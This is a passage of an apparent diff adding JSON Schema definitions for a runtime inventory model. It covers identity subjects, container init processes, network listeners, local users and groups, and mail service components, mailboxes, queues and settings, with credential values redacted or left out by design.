principal.","properties":{"attributes":{"items":{"$ref":"#/$defs/RuntimeIdentityAttribute"},"title":"Attributes","type":"array"},"description":{"$ref":"#/$defs/_r53"},"display_name":{"$ref":"#/$defs/_r56"},"distinguished_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Distinguished Name","type":"string"},"domain":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Domain","type":"string"},"enabled":{"$ref":"#/$defs/_r27"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeIdentitySubjectKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][sS][eE][rR]|[gG][rR][oO][uU][pP]|[cC][oO][mM][pP][uU][tT][eE][rR]|[dD][eE][vV][iI][cC][eE]|[sS][eE][rR][vV][iI][cC][eE][-_][aA][cC][cC][oO][uU][nN][tT]|[sS][eE][rR][vV][iI][cC][eE][-_][pP][rR][iI][nN][cC][iI][pP][aA][lL]|[rR][oO][lL][eE]|[aA][pP][pP][lL][iI][cC][aA][tT][iI][oO][nN]|[oO][rR][gG][aA][nN][iI][zZ][aA][tT][iI][oO][nN][aA][lL][-_][uU][nN][iI][tT]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"name":{"$ref":"#/$defs/_r174"},"origin":{"$ref":"#/$defs/_r15"},"principal_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Principal Name","type":"string"},"service_principal_names":{"items":{"$ref":"#/$defs/_r185"},"title":"Service Principal Names","type":"array"},"subject_id":{"$ref":"#/$defs/_r3"}},"required":["subject_id","name"],"title":"RuntimeIdentitySubject","type":"object"}, + "RuntimeIdentitySubjectKind": {"description":"Portable subject/principal kind within an identity authority.","enum":["user","group","computer","device","service_account","service_principal","role","application","organizational_unit","other","unknown"],"title":"RuntimeIdentitySubjectKind","type":"string"}, + "RuntimeInitProcess": {"additionalProperties":false,"description":"Required backend-injected container init / PID-1 reaper configuration.\n\nModels authored container runtime intent \u2014 for example Docker Compose\n``init: true`` causing PID 1 to be ``/sbin/docker-init`` (tini). This is\ndistinct from the observed PID-1 process recorded in\n``runtime.processes``; see ADR-027.","if":{"properties":{"argv_redacted":{"anyOf":[{"const":true},{"pattern":"^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$","type":"string"}]}},"required":["argv_redacted"]},"properties":{"argv":{"items":{"$ref":"#/$defs/_r185"},"title":"Argv","type":"array"},"argv_redacted":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Argv Redacted"},"description":{"$ref":"#/$defs/_r53"},"enabled":{"$ref":"#/$defs/_r27"},"executable_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Executable Path","type":"string"},"implementation":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Implementation","type":"string"},"reaps_children":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Reaps Children"}},"then":{"properties":{"argv":{"maxItems":0}}},"title":"RuntimeInitProcess","type":"object"}, + "RuntimeListenerAddressFamily": {"description":"Address family observed for a runtime listener.","enum":["ipv4","ipv6","unix","unspecified","other","unknown"],"title":"RuntimeListenerAddressFamily","type":"string"}, + "RuntimeListenerProtocol": {"description":"Transport or IPC family for an observed listener.","enum":["tcp","udp","sctp","unix","other","unknown"],"title":"RuntimeListenerProtocol","type":"string"}, + "RuntimeListenerProvenance": {"description":"Source class for an observed runtime listener fact.","enum":["osquery","ss","netstat","lsof","nmap","docker_inspect","kubernetes","systemd","operator","scanner","unknown","other"],"title":"RuntimeListenerProvenance","type":"string"}, + "RuntimeListenerReadiness": {"additionalProperties":false,"description":"Optional readiness/probe evidence for an observed listener.","properties":{"criteria":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Criteria","type":"string"},"description":{"$ref":"#/$defs/_r53"},"evidence_refs":{"$ref":"#/$defs/_r118"},"probe":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Probe","type":"string"}},"title":"RuntimeListenerReadiness","type":"object"}, + "RuntimeListenerScope": {"description":"Reachability class of the bind endpoint in the node namespace.","enum":["wildcard","loopback_only","network_facing","node_local","local_socket","unknown","other"],"title":"RuntimeListenerScope","type":"string"}, + "RuntimeLocalGroup": {"additionalProperties":false,"description":"A local group record observed in a node's identity database (/etc/group).","properties":{"description":{"$ref":"#/$defs/_r53"},"gid":{"$ref":"#/$defs/_r35"},"members":{"items":{"$ref":"#/$defs/_r185"},"title":"Members","type":"array"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"$ref":"#/$defs/_r14"}},"required":["name"],"title":"RuntimeLocalGroup","type":"object"}, + "RuntimeLocalIdentityInventory": {"additionalProperties":false,"description":"Observed local identity database (users, groups, sudo rules) for a node.","properties":{"description":{"$ref":"#/$defs/_r53"},"groups":{"items":{"$ref":"#/$defs/RuntimeLocalGroup"},"title":"Groups","type":"array"},"sudo_rules":{"items":{"$ref":"#/$defs/RuntimeSudoRule"},"title":"Sudo Rules","type":"array"},"users":{"items":{"$ref":"#/$defs/RuntimeLocalUser"},"title":"Users","type":"array"}},"title":"RuntimeLocalIdentityInventory","type":"object"}, + "RuntimeLocalUser": {"additionalProperties":false,"description":"A local user record observed in a node's identity database (/etc/passwd).","properties":{"description":{"$ref":"#/$defs/_r53"},"disabled":{"$ref":"#/$defs/_r33"},"gecos":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Gecos","type":"string"},"home":{"$ref":"#/$defs/_r60"},"locked":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Locked"},"no_login":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"No Login"},"primary_gid":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Primary Gid"},"primary_group":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Primary Group","type":"string"},"provenance":{"$ref":"#/$defs/_r14"},"shell":{"$ref":"#/$defs/_r72"},"stability":{"$ref":"#/$defs/_r11"},"supplemental_groups":{"items":{"$ref":"#/$defs/_r185"},"title":"Supplemental Groups","type":"array"},"uid":{"$ref":"#/$defs/_r41"},"username":{"$ref":"#/$defs/_r183"}},"required":["username"],"title":"RuntimeLocalUser","type":"object"}, + "RuntimeMailAlias": {"additionalProperties":false,"description":"A service-local mailbox alias or forwarding address.","properties":{"address":{"$ref":"#/$defs/_r47"},"alias_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"domain_ref":{"$ref":"#/$defs/_r57"},"external_targets":{"items":{"$ref":"#/$defs/_r185"},"title":"External Targets","type":"array"},"target_refs":{"$ref":"#/$defs/_r129"}},"required":["alias_id"],"title":"RuntimeMailAlias","type":"object"}, + "RuntimeMailAuthMechanism": {"description":"Portable mail authentication mechanism vocabulary.","enum":["none","plain","login","cram_md5","digest_md5","scram_sha_1","scram_sha_256","oauthbearer","external","anonymous","other","unknown"],"title":"RuntimeMailAuthMechanism","type":"string"}, + "RuntimeMailComponent": {"additionalProperties":false,"description":"A mail-service engine/component such as Postfix, Dovecot, or a filter.","properties":{"component_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeMailComponentKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[mM][tT][aA]|[mM][dD][aA]|[iI][mM][aA][pP][-_][sS][eE][rR][vV][eE][rR]|[pP][oO][pP]3[-_][sS][eE][rR][vV][eE][rR]|[sS][uU][bB][mM][iI][sS][sS][iI][oO][nN][-_][aA][gG][eE][nN][tT]|[mM][aA][iI][lL][bB][oO][xX][-_][sS][tT][oO][rR][eE]|[sS][pP][aA][mM][-_][fF][iI][lL][tT][eE][rR]|[aA][nN][tT][iI][vV][iI][rR][uU][sS]|[qQ][uU][eE][uU][eE][-_][mM][aA][nN][aA][gG][eE][rR]|[rR][eE][lL][aA][yY]|[pP][oO][lL][iI][cC][yY][-_][sS][eE][rR][vV][iI][cC][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"name":{"$ref":"#/$defs/_r174"},"version":{"$ref":"#/$defs/_r81"}},"required":["component_id","name"],"title":"RuntimeMailComponent","type":"object"}, + "RuntimeMailComponentKind": {"description":"Portable component kind inside a runtime mail service.","enum":["mta","mda","imap_server","pop3_server","submission_agent","mailbox_store","spam_filter","antivirus","queue_manager","relay","policy_service","other","unknown"],"title":"RuntimeMailComponentKind","type":"string"}, + "RuntimeMailCredentialClassification": {"description":"Semantic classification of a mailbox credential, never its raw value.","enum":["no_credential","weak","default_or_trivial","fixture","strong","redacted","unknown","other"],"title":"RuntimeMailCredentialClassification","type":"string"}, + "RuntimeMailDomain": {"additionalProperties":false,"description":"A domain known to the runtime mail service.","properties":{"description":{"$ref":"#/$defs/_r53"},"domain_id":{"$ref":"#/$defs/_r3"},"name":{"$ref":"#/$defs/_r174"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimeMailDomainRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[lL][oO][cC][aA][lL][-_][dD][eE][lL][iI][vV][eE][rR][yY]|[vV][iI][rR][tT][uU][aA][lL]|[rR][eE][lL][aA][yY]|[aA][lL][iI][aA][sS]|[cC][aA][tT][cC][hH][-_][aA][lL][lL]|[oO][uU][tT][bB][oO][uU][nN][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Role"}},"required":["domain_id","name"],"title":"RuntimeMailDomain","type":"object"}, + "RuntimeMailDomainRole": {"description":"Role of a domain known to the mail service.","enum":["local_delivery","virtual","relay","alias","catch_all","outbound","other","unknown"],"title":"RuntimeMailDomainRole","type":"string"}, + "RuntimeMailListener": {"additionalProperties":false,"description":"A protocol listener bound to a same-node transport service.","properties":{"advertised_identity":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Advertised Identity","type":"string"},"auth_mechanisms":{"$ref":"#/$defs/_r91"},"banner":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Banner","type":"string"},"capabilities":{"items":{"$ref":"#/$defs/_r185"},"title":"Capabilities","type":"array"},"component_ref":{"$ref":"#/$defs/_r52"},"description":{"$ref":"#/$defs/_r53"},"listener_id":{"$ref":"#/$defs/_r3"},"protocol":{"$ref":"#/$defs/_r17"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimeMailListenerRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][bB][oO][uU][nN][dD][-_][mM][xX]|[sS][uU][bB][mM][iI][sS][sS][iI][oO][nN]|[mM][aA][iI][lL][-_][aA][cC][cC][eE][sS][sS]|[lL][oO][cC][aA][lL][-_][dD][eE][lL][iI][vV][eE][rR][yY]|[rR][eE][lL][aA][yY]|[lL][mM][tT][pP]|[sS][iI][eE][vV][eE]|[mM][oO][nN][iI][tT][oO][rR][iI][nN][gG]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Role"},"service":{"$ref":"#/$defs/_r70"},"tls_mode":{"$ref":"#/$defs/_r18"},"tls_versions":{"items":{"$ref":"#/$defs/_r185"},"title":"Tls Versions","type":"array"}},"required":["listener_id"],"title":"RuntimeMailListener","type":"object"}, + "RuntimeMailListenerRole": {"description":"Observed role a mail listener plays for the node-scoped mail service.","enum":["inbound_mx","submission","mail_access","local_delivery","relay","lmtp","sieve","monitoring","other","unknown"],"title":"RuntimeMailListenerRole","type":"string"}, + "RuntimeMailMailbox": {"additionalProperties":false,"description":"A service-local mailbox/account record.\n\nRaw credentials are intentionally unrepresentable. The model records only\nauthentication mechanisms and credential-strength classification.","properties":{"account_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Account Ref","type":"string"},"address":{"$ref":"#/$defs/_r168"},"auth_mechanisms":{"$ref":"#/$defs/_r91"},"credential_classification":{"anyOf":[{"$ref":"#/$defs/RuntimeMailCredentialClassification"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][-_][cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[wW][eE][aA][kK]|[dD][eE][fF][aA][uU][lL][tT][-_][oO][rR][-_][tT][rR][iI][vV][iI][aA][lL]|[fF][iI][xX][tT][uU][rR][eE]|[sS][tT][rR][oO][nN][gG]|[rR][eE][dD][aA][cC][tT][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Credential Classification"},"description":{"$ref":"#/$defs/_r53"},"domain_ref":{"$ref":"#/$defs/_r57"},"local_part":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Local Part","type":"string"},"local_user_ref":{"$ref":"#/$defs/_r63"},"mailbox_id":{"$ref":"#/$defs/_r3"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimeMailMailboxRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][sS][eE][rR]|[aA][dD][mM][iI][nN]|[sS][eE][rR][vV][iI][cC][eE]|[sS][hH][aA][rR][eE][dD]|[pP][oO][sS][tT][mM][aA][sS][tT][eE][rR]|[aA][bB][uU][sS][eE]|[aA][uU][tT][oO][mM][aA][tT][eE][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"user","title":"Role"},"status":{"anyOf":[{"$ref":"#/$defs/RuntimeMailMailboxStatus"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[eE][nN][aA][bB][lL][eE][dD]|[dD][iI][sS][aA][bB][lL][eE][dD]|[lL][oO][cC][kK][eE][dD]|[sS][uU][sS][pP][eE][nN][dD][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Status"},"store_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Store Ref","type":"string"}},"required":["mailbox_id","address"],"title":"RuntimeMailMailbox","type":"object"}, + "RuntimeMailMailboxRole": {"description":"Portable role/classification of a service-local mailbox.","enum":["user","admin","service","shared","postmaster","abuse","automated","other","unknown"],"title":"RuntimeMailMailboxRole","type":"string"}, + "RuntimeMailMailboxStatus": {"description":"Observed account status for a service-local mailbox.","enum":["enabled","disabled","locked","suspended","unknown","other"],"title":"RuntimeMailMailboxStatus","type":"string"}, + "RuntimeMailMailboxStore": {"additionalProperties":false,"description":"Mailbox storage backing for service-local mailboxes.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeMailMailboxStoreKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[mM][aA][iI][lL][dD][iI][rR]|[mM][bB][oO][xX]|[dD][aA][tT][aA][bB][aA][sS][eE]|[oO][bB][jJ][eE][cC][tT][-_][sS][tT][oO][rR][eE]|[rR][eE][mM][oO][tT][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"path":{"$ref":"#/$defs/_r65"},"store_id":{"$ref":"#/$defs/_r3"}},"required":["store_id"],"title":"RuntimeMailMailboxStore","type":"object"}, + "RuntimeMailMailboxStoreKind": {"description":"Observed mailbox storage backing kind.","enum":["maildir","mbox","database","object_store","remote","other","unknown"],"title":"RuntimeMailMailboxStoreKind","type":"string"}, + "RuntimeMailProtocol": {"description":"Portable protocol family for a runtime mail listener or relationship.","enum":["smtp","esmtp","submission","smtps","imap","imaps","pop3","pop3s","lmtp","sieve","other","unknown"],"title":"RuntimeMailProtocol","type":"string"}, + "RuntimeMailQueue": {"additionalProperties":false,"description":"Shape of a mail queue; dynamic content is explicitly classified.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeMailQueueKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][cC][oO][mM][iI][nN][gG]|[aA][cC][tT][iI][vV][eE]|[dD][eE][fF][eE][rR][rR][eE][dD]|[hH][oO][lL][dD]|[bB][oO][uU][nN][cC][eE]|[cC][oO][rR][rR][uU][pP][tT]|[mM][aA][iI][lL][dD][rR][oO][pP]|[mM][aA][iI][lL][bB][oO][xX]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"message_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Message Count"},"name":{"$ref":"#/$defs/_r64"},"queue_id":{"$ref":"#/$defs/_r3"},"stability":{"anyOf":[{"$ref":"#/$defs/RuntimeMailQueueStability"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][tT][eE][aA][dD][yY][-_][sS][tT][aA][tT][eE]|[dD][yY][nN][aA][mM][iI][cC]|[vV][oO][lL][aA][tT][iI][lL][eE]|[lL][oO][gG][-_][dD][eE][rR][iI][vV][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"dynamic","title":"Stability"}},"required":["queue_id"],"title":"RuntimeMailQueue","type":"object"}, + "RuntimeMailQueueKind": {"description":"Observed mail queue kind.","enum":["incoming","active","deferred","hold","bounce","corrupt","maildrop","mailbox","other","unknown"],"title":"RuntimeMailQueueKind","type":"string"}, + "RuntimeMailQueueStability": {"description":"Stability class for dynamic mail queue facts.","enum":["steady_state","dynamic","volatile","log_derived","unknown","other"],"title":"RuntimeMailQueueStability","type":"string"}, + "RuntimeMailRoutingKind": {"description":"Portable mail routing/aliasing rule kind.","enum":["alias","forward","virtual_alias","relay","local_delivery","catch_all","list","other","unknown"],"title":"RuntimeMailRoutingKind","type":"string"}, + "RuntimeMailRoutingRule": {"additionalProperties":false,"description":"A portable routing, aliasing, local-delivery, or relay rule.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeMailRoutingKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][lL][iI][aA][sS]|[fF][oO][rR][wW][aA][rR][dD]|[vV][iI][rR][tT][uU][aA][lL][-_][aA][lL][iI][aA][sS]|[rR][eE][lL][aA][yY]|[lL][oO][cC][aA][lL][-_][dD][eE][lL][iI][vV][eE][rR][yY]|[cC][aA][tT][cC][hH][-_][aA][lL][lL]|[lL][iI][sS][tT]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"relay_host":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Relay Host","type":"string"},"rule_id":{"$ref":"#/$defs/_r3"},"source_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Ref","type":"string"},"target_ref":{"$ref":"#/$defs/_r76"}},"required":["rule_id"],"title":"RuntimeMailRoutingRule","type":"object"}, + "RuntimeMailService": {"additionalProperties":false,"description":"A node-scoped runtime mail-service logical inventory.","properties":{"aliases":{"items":{"$ref":"#/$defs/RuntimeMailAlias"},"title":"Aliases","type":"array"},"components":{"items":{"$ref":"#/$defs/RuntimeMailComponent"},"title":"Components","type":"array"},"description":{"$ref":"#/$defs/_r53"},"domains":{"items":{"$ref":"#/$defs/RuntimeMailDomain"},"title":"Domains","type":"array"},"engine":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Engine","type":"string"},"listeners":{"items":{"$ref":"#/$defs/RuntimeMailListener"},"title":"Listeners","type":"array"},"mail_service_id":{"$ref":"#/$defs/_r3"},"mailbox_stores":{"items":{"$ref":"#/$defs/RuntimeMailMailboxStore"},"title":"Mailbox Stores","type":"array"},"mailboxes":{"items":{"$ref":"#/$defs/RuntimeMailMailbox"},"title":"Mailboxes","type":"array"},"name":{"$ref":"#/$defs/_r64"},"queues":{"items":{"$ref":"#/$defs/RuntimeMailQueue"},"title":"Queues","type":"array"},"routing_rules":{"items":{"$ref":"#/$defs/RuntimeMailRoutingRule"},"title":"Routing Rules","type":"array"},"service":{"$ref":"#/$defs/_r70"},"settings":{"items":{"$ref":"#/$defs/RuntimeMailSetting"},"title":"Settings","type":"array"},"version":{"$ref":"#/$defs/_r81"}},"required":["mail_service_id"],"title":"RuntimeMailService","type":"object"}, + "RuntimeMailSetting": {"additionalProperties":false,"description":"A mail-service runtime setting with source/provenance and redaction.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"component_ref":{"$ref":"#/$defs/_r52"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeMailSettingProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][oO][nN][fF][iI][gG][uU][rR][aA][tT][iI][oO][nN][-_][fF][iI][lL][eE]|[cC][oO][mM][mM][aA][nN][dD][-_][oO][uU][tT][pP][uU][tT]|[iI][mM][aA][gG][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][oO][vV][eE][rR][rR][iI][dD][eE]|[rR][uU][nN][tT][iI][mM][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[eE][nN][vV][iI][rR][oO][nN][mM][eE][nN][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"setting_id":{"$ref":"#/$defs/_r3"},"source_path":{"$ref":"#/$defs/_r73"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r20"}},"required":["setting_id","name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimeMailSetting","type":"object"}, + "RuntimeMailSettingProvenance": {"description":"Origin/provenance class for a mail-service configuration setting.","enum":["configuration_file","command_output","image_default","operator_override","runtime_default","environment","unknown","other"],"title":"RuntimeMailSettingProvenance","type":"string"}, + "RuntimeMailTlsMode": {"description":"Observed TLS/STARTTLS posture for a mail listener or relationship.","enum":["none","starttls_available","starttls_required","implicit_tls","tls_terminated_upstream","unknown","other"],"title":"RuntimeMailTlsMode","type":"string"}, + "RuntimeMount": {"additionalProperties":false,"allOf":[{"if":{"properties":{"source_sensitivity":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["source_sensitivity"]},"then":{"not":{"properties":{"source":{"minLength":1,"type":"string"}},"required":["source"]}}},{"if":{"properties":{"options_sensitivity":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["options_sensitivity"]},"then":{"not":{"properties":{"options":{"minItems":1,"type":"array"}},"required":["options"]}}}],"description":"A filesystem mount observed on a runtime 